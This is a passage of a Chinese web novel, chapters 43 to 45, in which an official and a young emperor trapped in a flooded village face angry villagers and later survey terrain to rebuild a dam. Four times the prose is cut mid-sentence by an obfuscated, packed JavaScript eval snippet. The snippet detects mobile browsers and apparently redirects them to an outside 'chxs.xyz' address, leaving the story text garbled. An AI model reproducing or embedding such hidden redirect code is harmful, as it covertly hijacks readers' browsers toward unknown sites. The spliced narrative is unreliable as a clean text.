闻言,赵兴安抬头笑了笑,历经岁月的脸上露出几条淡淡的皱纹,他坦言道:“我不将你们赶尽杀绝,是因为你们是我最后的保命符,如果将这一切的罪责扣在一个山匪,或者更准确说一个反贼头上,别人又会怎么想?” “哈。”男子突然放荡笑了一声,“我道呢,赵大人原来也对我们别有所图呢?” “既然都是一路人,那为什么不能一致对外,除去根源,这不是省去一堆的麻烦。” “嗯?”赵兴安偏过头,叹气却道,“我不信你们,根源除去对你们来说又算什么,你们的目的只要没有达到,我不还是你们其中的一块垫脚石。” “所以,如果有更稳妥的办法,我更愿意相信自己。” “什么意思?”男子皱眉道,“赵大人这是准备跟我们作对了?” “我不想参与你们,也不想如你们一样去挺而走险,我就是一个贪生怕死的人,想继续做我这小官员而已。”赵兴安道,“我没那么大的本事。” 男子哼笑一声,语气满是不屑道:“没有本事?我看赵大人有着通天的本事,朝廷来的官员还不是被大人拿捏的手里,刚刚你说自己贪生怕死,我看赵大人只是单纯说说而已吧,现在装清高说不愿意同流合污,既然已经成这样,你真的还能做个清清白白如此清闲的小官吗?赵大人这样做可真让人寒心。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214342|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然都到这里了,赵大人为什么不选择相信我们一下呢?大人想继续在这里做官,那我们定随大人的愿。” 赵兴安不说话,看向男子时,男子拽了拽自己的衣袖,脸上感受到强烈的目光时,男子扭头朝他挑了下眉,“赵大人若是回心转意了,在下肯定欢迎,可若是继续坚持,那就要看谁的动作快些了。” —— 冬天天黑的快,两人从天蒙蒙黑时走,到村子里天已经完全黑了下来,村子里的屋子烛火透过窗纸并不明亮,两人寻到高颉的屋子敲了两下门,刚想推开时,发现门已经被反锁了。 房间里,高颉趴在床上,身上盖着厚实的被子,旁边还点着半根蜡烛,借着微弱的烛光看着手里的几份图纸,表情略显凝重,不知道在想什么。 听见敲门声,高颉却下意识吹灭了蜡烛,将图纸拿到一边,翻了个身准备躺在床上装睡。 见里面的人没动静,两人又敲了几次门,见始终没有回应,两人不禁怀疑,这里面根本没有人。 “有人吗?高颉?”宋闻璟又敲了一遍门,朝里面喊了一声。 微弱的声音传到屋子里,不久便传来一阵窸窸窣窣地声音,下一秒,门被打开,高颉有些凌乱地出现两人眼前,还不等两人开口说点什么,高颉的眼神便朝四周转了一圈,随后将两人拉了进来。 “怎么了?”两人不禁发问道。 高颉却道:“你们不是走了吗?怎么还在这?” 宋闻璟道:“还没有,我们出不去。” “算了,好像也是。”高颉道,“那天你们前脚刚走,那山匪后脚就来村子搜人,这不来还好,一来,这村民又被带了起来,差点把我们打出去。” 沈翊问:“他们来了?” 高颉点点头,“现在百姓又急,说我们干不好,这么久也没动静,现在都催我们要准备怎么做,什么时候要开工,这几天我都不怎么敢出门了,一直在屋子里看图纸。” “那你现在做好了吗?”沈翊问道。 高颉搓了搓手,有点含糊道:“快了,明年肯定能动手。” “明年?”沈翊语调缓缓向上提起,显然对这个答案有些不满意,“明年,明年是什么时候,孔左呢?他怎么不帮你一起?” “他……他出去了,好几天没回来。”高颉说着,又重重拍了一下手,试图转移沈翊注意力,“都怪这个孔左,明明出了这么大的事,还自己跑出去,难不成撂挑子跑路了?!” 43.第 43 章 “好了。”沈翊摆了摆手,颇有些无奈道,“尽快修改出来。” 高颉点点头,也不再敢说什么。 三人草草挤了一夜,睡觉的地方是用泥土砌起来土炕,土炕不算小,三个男人躺在一起也不会显得那么拥挤,但宋闻璟却怎么也想不到这一夜会格外的难熬,刚开始,三个男人睡在一张床上,看着也没什么,甚至挤在一起会更暖和,但到了后半夜,就变得格外难熬。 一边,高颉睡觉不老实,几乎半个身子都压在宋闻璟身上,一条腿直直伸出去差点搭在沈翊身上,本人还睡得死死的,做着好梦叫都叫不醒。 而另一边,沈翊倒比高颉安静不少,睡觉不会动手动脚,但会动被子,养尊处优了几年的小皇帝,睡不惯土炕,觉得土炕即使铺上干草褥子还是不干净,穿着衣服睡又盖着厚厚的被子,睡着了难免会觉得有些热,踢了被子,半夜又会觉得冷,这个时候,娇贵的小皇帝不会坐起来找自己的被子在哪,只会闭着眼伸手从别人身上抢一床盖上。 但摸到的被子被某个睡得死死的人压了半床拽都拽不动时,小皇帝脾气一下就上来了,不死心地又拽了两下,随后发现真的拽不动后,小皇帝被子一掀,一个翻身自己去找被子了。 宋闻璟没办法,一个晚上不知道推了高颉多少次,给沈翊盖了多少次被子,只觉得自己睡得好累,夜晚过的好漫长。 等到了第二天清晨,操劳了一晚上的宋闻璟终于不负众望再次病倒了,脸色比以往还要难看,特别是眼下的一片显眼的乌青,衬得人更加憔悴不堪,好像一片即将凋零的枯叶,轻轻一碰就飘下来。 高颉一睁眼就急得不行,还以为自己把宋闻璟压坏了,坐在一旁自顾自地说了半天,随后穿上衣服一个打挺从炕上跳下来就跑去找药。 耳边清净了不少,宋闻璟便觉得眼皮变得更沉了,头又疼又晕,自己明明一动不动地躺在床上,却总觉得自己在往下降,一种不切实际的真实感。 沈翊看着宋闻璟睡熟了,随手给人掖紧了被子,便走了出去。 这一觉睡得还算是安稳,一直到下午,除了,梦里有人灌了他一碗苦药,还骗他是加了糖的甜水。 嘴里微微发苦,宋闻璟一睡醒就下床自己找水喝,屋里的人都不知道跑哪里去了,宋闻璟去桌子旁给自己倒了半杯水喝了一口,杯子里的水冰凉,喝下去,明显能感受到水流从食道流进胃里的感觉。 喝完水,宋闻璟又慢悠悠地躺了回去,放空了两秒钟,又翻了下身,两边的人走的都挺干净,被子还乱七八糟地一团的一团地放在这里,宋闻璟瞄了一眼,高颉的一边被随手叠放着一堆稿纸,上面几乎要被晕透了的痕迹像被人描摹了数次。 宋闻璟处于好奇,也因为无聊,从其中抽了两张好奇地看起来。 是一张清晰可见的地势图,画稿上的小山不均匀分布,山的中间河流的分支穿插其中,但这只是局部的一部分。 宋闻璟刚想再抽两张连起来看一下,刚刚消失不见的两个人,却突然冲了进来将房门反锁了起来,随之木门外传来剧烈地击打声和大声地谩骂。 “欺负老百姓算什么本事,你们这些狗官!” “有本事就滚出来,别当缩头乌龟!” “你们真是该杀,该死!” 木门晃动越来越大,两人死死靠在门上,高颉一边咬着牙用力,一边看向沈翊欲哭无泪地从牙缝中蹦出字来,“陛下……我……没劲了。” 沈翊回他:“没劲也要扛着,你难不成想死!” “不行啊。”高颉摇摇头,无奈辩解道:“他们人实在太多了,这算几个村子的人啊。” 宋闻璟看着情况不对,连忙下了床连外套都没来得及披上。 “碰——” 木门被撞开,连带木锁都被硬生撬飞出去,寒冷刺骨的寒风肆意横行地往里灌,将房子的温度彻底拉低。 两人被这股强大的力推开,都往后踉跄了两步才得以稳住身形。 宋闻璟还没来得及问个明白,对面带头的老头却握紧了手里的那根不长不短的一截棍子指着三人恐吓道:“你们这些狗官,年年吞我们的税,到头来打一巴掌给一个甜枣的糊弄我们,现在你们居然还敢来我们这。” 他顿了一下,又继续说道:“每年的祈福都是骗人的,你们作威作福才是真的,神仙不可怜我们,我们却还要为了你们拼了命的缴税纳税,说到底你们才是惹怒神仙的罪魁祸首,你们就该给神仙赔罪,也给我们一个最好的交代。” “怎么回事?”宋闻璟微弱出声。 高颉在旁边立马反驳道:“喂!你们不要被那些山匪骗了,他们在忽悠你们。” “狗屁!那山匪都告诉我们了,皇上在这,这里就你们三个外来人,我倒是要问问这狗皇帝他怎么办事,这皇帝真是无用,若是解决不了,那就别当,让人看不起!” 话音刚落,沈翊猛然一愣了一下,不禁往下低了低头。 旁边的高颉大声训斥道:“你……你怎么敢这么说话!真是无礼!” 带头的老头被激了一下,抡起手里的棒子就要朝高颉头上开朵花,高颉被吓了一跳,下意识抬起胳膊就往后躲,却见那老头的棍子停在了空中没下来,宋闻璟抬手挡了一下,老头也并不是真的要打,只是吓唬这人一下。 见状,高颉立马躲在宋闻璟身后,只把头探出来看他们。 宋闻璟道:“所以你们想干什么?” 老头道:“我们要一个交代,你们该怎么补偿我们?” 宋闻璟问:“就这样?” “不。”老头却笑道,“我还要那个狗皇帝当面给我们磕三个头道歉。” 此言一出,三人皆是一愣。 “你这老头……”高颉又把手露出来指着面前的老头骂道,“你什么身份,让皇帝给你磕头也不怕折了你的寿。” “怎样?”老头挑挑眉,颇有些神气道:“不该吗?” “你……” “好……”宋闻璟却道,“那磕了头你们就会放了我们?” “什么时候轮到你来向我们提条件了?”老头笑道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14284908|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你们也可以选择不磕,现在我们就可以把你们祭献给神仙赔罪。” “来保我们来年风调雨顺,总比你们这些假把式好得多。” “你们……”高颉气愤道,“迂腐!” “神仙救不了你们,这里本就是大水频发的地区,朝廷每年都会捐款派人来这里查看大坝进行修缮,若大坝不再以支撑下一场大水的到来那一定会上报朝堂重建,但现在大坝被毁,或是因为这一次的大水太过强烈,超出了大坝的承受范围,这才导致了这一现状,可后面只要重新修整,一定能将大水再次控制住。” “你说的是真的?”对面一阵声音传出来。 “真的。”高颉拍拍胸脯,“当然了,修缮记录都在我手里呢。” 话音未落,对面便开始七嘴八舌的低声说起来,声音嘈杂,随后最前面的老头一锤定音道:“你骗人,没有人来,我们都没看见。” 高颉道:“这……这可不能乱说,或许就是在你们没看见的时候来的又走的呢?” “小崽子,你又想骗我们!”领头的老头道,“我们在这住了这么多年,大坝从来就没有人来过,更别说重建!” 话音落,老头手里的棍子举起,携带着一股飓风,眼看马上要落在高颉身上时,被沈翊一手握住,随后微微用力,棍子便从老头手里掉下,被沈翊接住。 沈翊握着棍子暗暗搓磨了一下,“你们如此态度,还想让朝廷帮你们,给你们一份好处,简直痴心妄想。” “你……你这小子,怎么说话呢!”老头揉了揉手腕,愤怒地指着沈翊骂道:“你是皇帝,还是皇帝的狗,这么替他说话,平常皇帝可真没少疼你。” “你说什么呢!”沈翊感觉自己马上就要忍不住了,全身的怒气聚在手中,谁也没想到会这么突然,这根木棍会凶狠地落在那老头上,连老头自己都没反应过来,一口血就这么从嘴里吐出来,瞬间晕了过去。 在场的人都被吓了一跳,随后抬头纷纷看向沈翊。 沈翊没有多大的表情,人群里不知谁挑起了头,说要把沈翊抓起来替这老头讨回公道。 眼看人群向沈翊蠢蠢欲动,沈翊本人站在原地一动没动,根本没在怕的,宋闻璟和高颉两人倒是怕了,毕竟对面这么多人,这里就只有我们三个人。 两人看着大战一触即发纷纷赶上去拉架,两人挡在中间,推搡着沈翊往后走,谁知道后者倔的要死,跟块巨石一样一点一点地往后移。眼见人群逼近,宋闻璟也不知道哪来的胆子,顺着逆流往前迈了一步挡在两人身前,展开胳膊将村民拦了下来,说道:“是我们的不对,我们道歉,你们也放我们一条路,行吗?” “不可能,我才不会道歉!” 沈翊刚说完话,高颉便立马慌乱地捂住沈翊的嘴,乞求他别再说什么。 村民们听闻当然不乐意,气势汹汹地推了宋闻璟一把,不屑道:“你算哪路子的神仙,敢这么提要求?” “我……”宋闻璟莫名心慌了一下,随后脑中一闪,镇静道:“我当然是你们要见皇帝。” 44.第 44 章 “你是?” 面前的村民像是见了什么稀罕物换了一种打量的眼神不断上下地瞧他。 “对。”宋闻璟点了下头,心里却觉得空荡荡的,像一个空盒子一样,只有那一点轻微的重量。 “那好啊。”面前年轻人突然笑了一声,“不愧是宫里养出来的人,长的细皮嫩肉的,跟块玉一样,不像我们一个个黑的跟块碳一样。” 宋闻璟道:“那……你们想做什么?” “想做什么?刚刚不是告诉你了吗?”年轻人道,“补偿,还钱,磕头。” 宋闻璟问:“只要这三个,你们就能放过我们了吗?” “当然可以,这三样之后,我们就各走各的路,最好以后也互不相干,以后也别让我们缴税了。”年轻人又道,“现在就怕你们拿不出来。你不是皇帝吗?马上让人来给你送钱啊。” 宋闻璟道:“那你们给我点时间。” 年轻人笑笑:“放心,钱什么时候到了,你们什么时候才能走。” “好。”宋闻璟点头,算是答应。 三人以为这事算是结束,但村民们却还是堵着门不走,随后年轻人给旁边人了个眼神,随后两个身材较为魁梧的人扔下手里的凶具,走到宋闻璟身旁,竟硬生生将人压了在了地上。 宋闻璟不解,“这是做什么?我们不是协商好了吗?” “对啊,可我们要看到你的诚意。”年轻人笑笑,“刚刚你的人打伤了我们的村民,你身为皇帝不应该更以身作则,刚刚说的三个磕头,现在你也应该替你的人磕两个吧。” “凭什么?” 话音刚落,那截木棍直直飞过来,沉闷的一声,木棍用力地砸在其中一个人的脑后,又再一次成功的将人砸晕过去。 宋闻璟看见有人从自己眼前落下,自己还没反应过来,身体突然腾空,后衣领被人拉了起来。 “我们不会跪!”沈翊觉得自己要气死了,这摆明是当着他的面打他的脸。 “既然如此,我们也没什么好谈了。”年轻人道,“天底下不缺你这一个皇帝,你做不好肯定还有别人抢着做,今日我们也算能威风一把,亲手除掉你这个昏君。” 说罢,眼前的村民又都齐齐拿上家伙事,一副势必要为民除害的样子。 “等等!”宋闻璟立马叫停道,“各位别动怒,他这人只是性子爆了一点,其实我们还可以再谈的。” “谈不了,今天谁都不能磕这个头!”沈翊接上话立马道。他决不允许今天有人打他的脸。 “呦,那这不成了。”突然,村民一窝蜂向里冲进去,将三人紧紧围住,屋子里突然变得密不透风。 一窝人接二连三往沈翊身上扑,屋里空间狭小,沈翊挣扎了两下又挨了两下拳头,没过多久最终还是很快被制服了。 “喂,你们要做什么。” “快放手!” “别碰我!” 连带高颉也遭了秧,缩在沈翊一旁一动不敢动。 “你们也太过分了吧。” 闻言,年轻人却道:“这算什么!那你知道我们死了多少人吗!这场大水淹了三个村子,现在就剩屋子里的这些人了!你们知道吗?你们只知道不停的剥削我们,最后要了我们的命!” “这……” “你们对不起我们所有人,现在我们没要你们的命已经很好了。” 宋闻璟默了默,“我……我愿意磕,是我们疏忽才造成了这么大的损失,我们确实对不起你们。” “不过,能不能先把他们两个人放了。” 年轻人轻点了头,“既然陛下有心,我们也不会跟陛下对着干。” 宋闻璟点点头,没有再多说什么。 等两人脱离了束缚,门口的一侧让出一条道,年轻人道:“陛下,请吧。” 门外不知何时飘起了雪,漫天飘雪,被寒风吹在空中不停舞动,像听见了什么召唤,迟迟不肯落在地上。 宋闻璟点点头,风夹杂着残雪吹进门来,所有人都注视着他,年轻人又道:“若陛下回了京城,还望陛下能给他们超度一番,让他们下辈子寻个好人家。” “自然会的。” 宋闻璟往前走,胳膊被人拉住,沈翊目光坚定的又再一次重复道:“你不许磕。” 在沈翊眼里,这是对皇权的挑战,是对权利的侮辱和对弱者的屈服,从前他可以在宋闻璟手里的像狗一样地活着,因为那时候他小,对权利的渴望比不上一个温暖的怀抱,但现在不一样,他需要权利,因为他变强了,不应该再向任何人低头。 “你凭什么能代替我?”沈翊低吼道,“我才是皇…… 真的。 “啪——” 见沈翊这么不配合,身后的村民又变得蠢蠢欲动,宋闻璟奋力地挣开他,沈翊却更加变本加厉,胳膊一阵剧痛,宋闻璟心中一恼,一个脆生生地巴掌便落在了沈翊脸上,“还不快滚回去。” 被宋闻璟这么一吼,沈翊当场愣住了,脑中瞬间一片空白,随后火辣辣地痛在刚刚被打的地方爆开。 我被打了? 我又被打了? 他怎么还敢打我! 趁着沈翊发愣,宋闻璟立马摆脱掉沈翊的束缚,随后给了旁边的高颉一个眼神,把沈翊拖了下去。 高颉再次捂上沈翊的嘴,一边架着沈翊往后走,一边好言相劝道:“何必呢,面子又当不了饭吃,现下保命才是最重要的,您就委屈一下。” 沈翊听着不服气地闷闷哼了两声。 这当然不是丢你的面子,你当然不明白! 众目睽睽之下,宋闻璟还是磕了,在磕到第三个时,风大了,卷起空中飞雪又往屋子里进了一部分,散散地落在地上堆成小小的雪堆,刮在那些村民脸上时,每个人的脸上都不由得暗了一下,随之呼出一团白雾,模糊了每个人的表情。 等宋闻璟磕完第五个时,外面依旧狂风肆虐,雪与风共舞,又重新刷新了一遍世界,宋闻璟站起来时,背上如同压着一块巨石,沉重的差点让他再次跪下去。 村民们没有再继续纠缠,可却依旧没有要放过他们的意思。在山匪带来消息之后,他们想过想把他们一辈子留在这里,但之后呢?什么也不会发生改变,不如先捞点好处,再交给那群山匪再换取一波好处。 高颉见那些村民一走,便赶忙将房门关上,搓了搓手又拉着宋闻璟往里走,给他披上衣服,“不冷了吗?” 宋闻璟摇摇头,“不冷。” 高颉也搓了搓宋闻璟的手,道:“骗人,手都这么凉。” 宋闻璟呆坐在床上,任由高颉摆弄,不知过了多久,宋闻璟才好不容易鼓起勇气看向沈翊,刚刚的那一巴掌他确实有些冲动了,只是当场爽了,可过去之后,他害怕了也后悔了。 他不知道沈翊会怎么报复回去。 宋闻璟张开口刚准备跟沈翊来个真诚道个歉,却没想,沈翊直接预判到了,宋闻璟刚微微张开了嘴,一个字还没蹦出来,便看见沈翊踏着大步充满怨恨地出去了。 “碰——” 一阵巨响,木门都晃了晃。 见状,宋闻璟又将嘴闭了回去。 高颉看着宋闻璟一副愁眉苦脸的样子,又道:“大人,其实我觉得你做的没错,面子哪有命重要,小皇帝自己一会儿就想明白了。” 宋闻璟道:“要是真的可以就好了。” 随后,高颉又道:“大人,我们现在去寄信派人来救我们吧。” “寄信?”宋闻璟摇摇头,“驿站说是大雪闹雪崩了寄不出去,要寄信我们要去找这儿的县老爷帮我们寄信。” “不对啊。”高颉忽然明了一下,“我前几次去寄信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14310044|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候明明还好好的,怎么会突然雪崩了?难不成也是山匪故意的,就是不想让你们出去?” “这……或许可能吧。” “那怎么办?”高颉晃了晃脑袋,“难不成我们还要一辈子在这?我可不要再回去过苦日子。” “我们肯定不会有事的。”宋闻璟道,“要不然我们去找这儿的县老爷一趟?” “他真的行吗?”高颉淡淡道,“他这一个小官能控制的住吗?万一那村民不服,贪心的很怎么办?而且我在这儿这么久了,这县老爷我就见了一两面,也从来没到这里过。” 宋闻璟默了默,“那……要不然我们先把这大坝重建起来,也给村民们一个交代,说不定到时候也不用让我们补偿了。” “或许吧。”高颉道,“不过这大坝不能再跟往前一般了,这大水比往年的大水变得更加凶猛,怕以后大水会越来越大,怕这以前的大坝会撑不住。” 宋闻璟想了想道:“你是不是画了一些地势图,能不能也给我看一下?” 高颉愣了一下,随后点点头又从自己的被子旁拿出一沓画稿出来,道:“这是我跑了几天爬了几天的山顶才把这附近的地势图大差不差地画了出来。” 宋闻璟接过,这沓画稿里还穿插了很多关于高颉的想法的废稿,宋闻璟将画稿相连平铺,才将附近的地势完整的展示在眼前,随后又看了几眼自己手里高颉的废稿,抬手在画稿上指了几个地方,道:“等明日雪停了,我们再去看一遍吧。” 高颉看了看那几个地方,瞬间若有所思,其实这几个地方地势较高,视野开阔,对河流流向也会有更好的把握,但就是因为地势太高,又加之下了雪,便又更不好攀爬了。 他开口道:“大人,明天的话路可能不太好走,要不然等两天再去吧。” 宋闻璟道:“怎么会呢,要怕再过两天,我们就没机会了,村民们到时候没见到补偿款,我们还不知道会怎么样呢。” “这……”高颉纠结了半晌,又道:“那等明日,大人你跟我走吧,我起码上过一次,还有点经验。” 宋闻璟点点头,“好。” 两人一直聊到晚上,外面的天已经完全黑了下来,沈翊还没有回来。 两人窝在被子里面,暖和和的,让一阵阵的发困,高颉眼看眼皮马上就要撑不住地落下来,还不忘迷迷糊糊要喊着灭了蜡烛睡觉:“大人,睡觉吧。” 宋闻璟道:“陛下还没回来呢,不会被那些村民抓走了吧。” “哼哈。”高颉道,“抓他干嘛,他又不是皇帝。” “大人,我要睡了,蜡烛我灭了,在这边晃眼,你也快睡吧,一会陛下自己就蹦蹦跳跳回来了,快点不会少胳膊少腿的。” “这……” 高颉闭着眼凑到蜡烛旁,迷迷糊糊吹灭了蜡烛,又退回被子里,发出一声舒适地哼唧声,不过一会便彻底睡了过去。 宋闻璟睁着眼,黑漆漆的房间里变得很安静,放空了一会儿,正打算闭眼睡觉,房门被推开,发出一阵轻微“吱——”的声响,随后窸窸窣窣的声音越来越大,上了床便又安静下来。 沈翊将整个人窝在被子里背对着宋闻璟一动不动,脑子里恨不得早点离开这个丢人的地方。 良久,一阵模糊不清的声音隔着被子传到沈翊耳朵里,沈翊没答应也没动,直到被子被人拽了一下,沈翊才不耐冻地往旁边移了移。 见沈翊不理他,宋闻璟便也没再继续动他,看着黑漆漆的房顶,宋闻璟咬了咬嘴唇,随后对着空气自言自语道:“我……我刚刚不是故意的,你……你应该知道吧。” 不提还好,一提,沈翊便觉得脸上又疼了起来,心里止不住地委屈,随后双手拽着被子,又把自己卷了卷。 怎么会有这样的人,什么叫不是故意的,巴掌都打脸上,他说他打错了! 45.第 45 章 见沈翊不说话,旁边只传来一阵阵窸窸窣窣地骚动,等宋闻璟再伸出手时,手却突然空了一下,什么也没摸到。 而隔壁的沈翊已经把自己缩成一小团紧紧靠在墙边,就连脑袋也埋进被子里,只留下一道缝隙传出渐轻渐重的呼吸声。 眼看屋里越来越黑,就连从窗外透进来的月光也快被吞噬殆尽,两人之间忽然变得沉默起来。过了不知多久,房间里竟变得异常安静,只能听见彼此的呼吸声。 沈翊睁着圆溜溜眼以为旁边的两人都睡了,这才把脑袋堪堪探出被子,深深呼吸了一口,缓了一会儿,沈翊便坐起来去摸索自己的披风,披风刚握在手里,旁边的人醒了。 宋闻璟睁开眼问他:“这么晚了,你要去哪儿?” 沈翊依旧不说话,摸起披风就披在身上,便准备下床往外走。 宋闻璟一时心急,怕沈翊大晚上会出什么事,手一伸紧抓着沈翊的披风便不放手了,随后又继续道:“别再出去了,刚刚是我不对,我跟你道歉,你也别生气了。” “我没生气啊。”沈翊显得异常平静道,“我只是单纯睡不着想出去透透气罢了。” 闻言,宋闻璟手上动作一顿,紧跟着松了些许力道,略显疑惑道:“真的?你不生气了?” 沈翊笑笑,随后趁机从床上蹦下来,一边往外走一边道:“我生什么气,我哪敢生气啊,从始至终不都是皇叔说什么是什么,我能算个什么东西?” “就说今天要是皇叔让我磕,我不也得往死里磕才是吗?要不然皇叔这一个巴掌可不够打的。” “不是,我……”不是这个意思。 还没等宋闻璟说完,沈翊的身影已经消失在门口,灌进几缕冷风。 宋闻璟呆呆地望着远处,很黑又很空,就这么愣神了几秒,随后身上的热气消散,宋闻璟又钻进被子里,闭上眼睛脑子里又开始闪过一截又一截的片段,这小皇帝不会黑化加速了吧? 门外,雪已经停了,地上堆落的雪又高了一点,踩在上面软软的鞋子都陷进去一块。 沈翊一个脚印一个脚印地往前走,其实脸上挨得那一巴掌已经不疼了,但还是总得心里怪怪的,宋闻璟已经多久没打过自己了?大概有几个年头了? 从前,挨打就好像是家常便饭,反正从没人把他放在眼里,就好像从前那位教他的太傅,背错一个字要打手心,打哈欠要打脑袋,迟到要打屁股,即使这一天做的很好,太傅也总有办法把戒尺狠狠打在自己身上,并且美名其曰为管教,其实就是拿他当受气包打打。 因为这里没有人给他撑腰,即使有,那也好不到哪里去,甚至还会拖累旁人,所以身处高位又如何,他和那些身份卑微的下人也没有什么区别。 沈翊想着,嘴角不禁擒起笑意,自己果然是长大了,神气了,现在竟连这点小委屈都受不了了。 没过多久,一抹黑影跳到沈翊跟前,看着沈翊被冻着微微发红的脸颊,不禁道:“陛下很早就出来了吗?” “没有。”沈翊问,“人呢?” “哦。”江二道,“孔大人已经安全出去了,要不了多久宫里就派人来了。” 沈翊道:“这孔左从前怎么没听过还有易容这种本事,在朝堂上也不曾显露头角。” 江二道:“工部一直以来都是为高大人为中心,高大人和宋大人来往密切,难免不少有些人想往前攀,所以有些人被忽视了也是常事。” “也是。”沈翊点点头,“不过这易容一个工部的人怎么会?” 江二道:“不止是易容,属下倒看着孔大人还有点身手。” 沈翊道:“你去跟他过招了?别这么轻易暴露出来。” “不是。”江二道,“前几日属下蹲元府正巧碰到的,那门口府兵都被打晕了好几个。” “又去了?”沈翊问。 江二道:“这几天来往确实有些密切,具体干什么,属下不知。” “没事。”沈翊道,“孔左都告诉我了,两只尾巴都漏出来了。” 江二不解:“陛下,你都知道了,那我们要做什么?” 沈翊叹了口气,坦言道:“不知道。” “总之,先等着吧。” 其实说实话,孔左他没摸清,即使他是林渊这边的人,他也不知道孔左该信还是不信。 —— 第二天清晨,木门被人大力锤响,是村民来送饭了,三人皆被这阵巨响吵了起来。 高颉慢悠悠打开门,只见门口站着一个村民手里端着两碗粥,随后不满地将粥塞到高颉手里,低声道:“还有心情睡懒觉呢?” 高颉迷迷糊糊地抬头看了看,天还蒙蒙亮,可也有不少人已经起床忙起来了。 许久不上早朝了,这几天也从没看过大早上黑漆漆的天。 高颉将门关上,把两碗还冒着热气的粥放在桌子上,门外的寒风也将高颉吹醒了几分,随后高颉揉了揉乱糟糟的头发又想进被窝暖和暖和,却没想到刚碰到被子,旁边的宋闻璟坐了起来,道:“天又亮了。” “还早呢。”高颉一边美滋滋地钻进被子里一边道,“再睡会儿吧。” 宋闻璟却道:“今天我们还要去几处地方。” 高颉道:“来得及,我都熟。” 说罢,高颉又朝沈翊那边望了望,“现在太早了,陛下都还没醒呢。” 昨晚,沈翊和江二说了一会儿,随后又去了一趟山匪那边,听孔左说,山匪这边前不久来了一群人,出入和路径都很保密,就连这些很早上山的村民也不曾透露一下。 两人去了一趟,却没发现什么,回来时,天边已经堪堪露出一条白线,等沈翊刚刚睡着,村民便来敲门,迷迷糊糊醒了一阵又闭上了眼。 高颉又在被子里懒了一会儿,便下床凑到宋闻璟跟前,看着他手里的一副新奇的地势图,不禁发愣道:“大人,你在画什么呢?” 原本的地势图的样子,变成无数根线,原本的小山也变成如河流的线段,还有些密密麻麻奇形怪状的图案。 宋闻璟停下动作道:“这也是地势图。” 高颉愣了愣,随后拿起其中一张盯着看了半天,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414306|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这是简化了吗?” 宋闻璟顿了下,“也可以这么说吧。” 毕竟这里不比现代,没有卫星这样的高科技,若是修建这样的大工程只能一点点的实地考察才能凑齐这幅较为完整的地势图。 高颉问:“大人怎么想到的,从前没见过大人看过什么地势图啊?” 宋闻璟愣了下,随后道:“很久以前看到的。” 高颉点点头:“好吧。” 宋闻璟道:“时候也不早了,我们现在去吧。” 高颉道:“可陛下还没醒呢。” 宋闻璟默了默,“那我们去说一声。” 高颉点点头,随后趴在沈翊旁边叫了好几声,沈翊才终于迷迷糊糊应了一声,还没等高颉说完,沈翊被子一裹翻了个身又睡了过去。 最终还是宋闻璟和高颉两人去了,只是两人还没出了村子,便被村民拦了下来。 看出他们的担忧,宋闻璟道:“我们不跑的,我们只是去山上看一下,要是你们不放心,就和我们一起去。” 高颉点头道:“对啊,我们跑也跑不出去,我们的东西也都给你们了,我们的人也都跑了,你们还怕什么?” 两个人出了村子,后面还跟着四个村民,虽然不说话,可存在感还是特别强。 宋闻璟问:“你们给了他们什么东西,还有什么人?” “这个啊?”高颉道,“前些日子,我要钱就是为了来补贴他们,还有刚来时的那几个人,不是被打跑了就是受不了跑了,最后就只剩我们几个了。” 宋闻璟道:“怎么会这样?” “我也不知道。”高颉无奈摇摇头,“反正已经是这样了。” 高颉看着旁边,又顺手捡了两根木棍,给了旁边的宋闻璟一根,道:“下过雪,路不好走,你在后面跟着我走。” 宋闻璟点点头,又往后看了几眼四个年纪轻轻的小伙子,虽然一个个都阴沉的脸,可爬起山来也忍不住累红了脸。 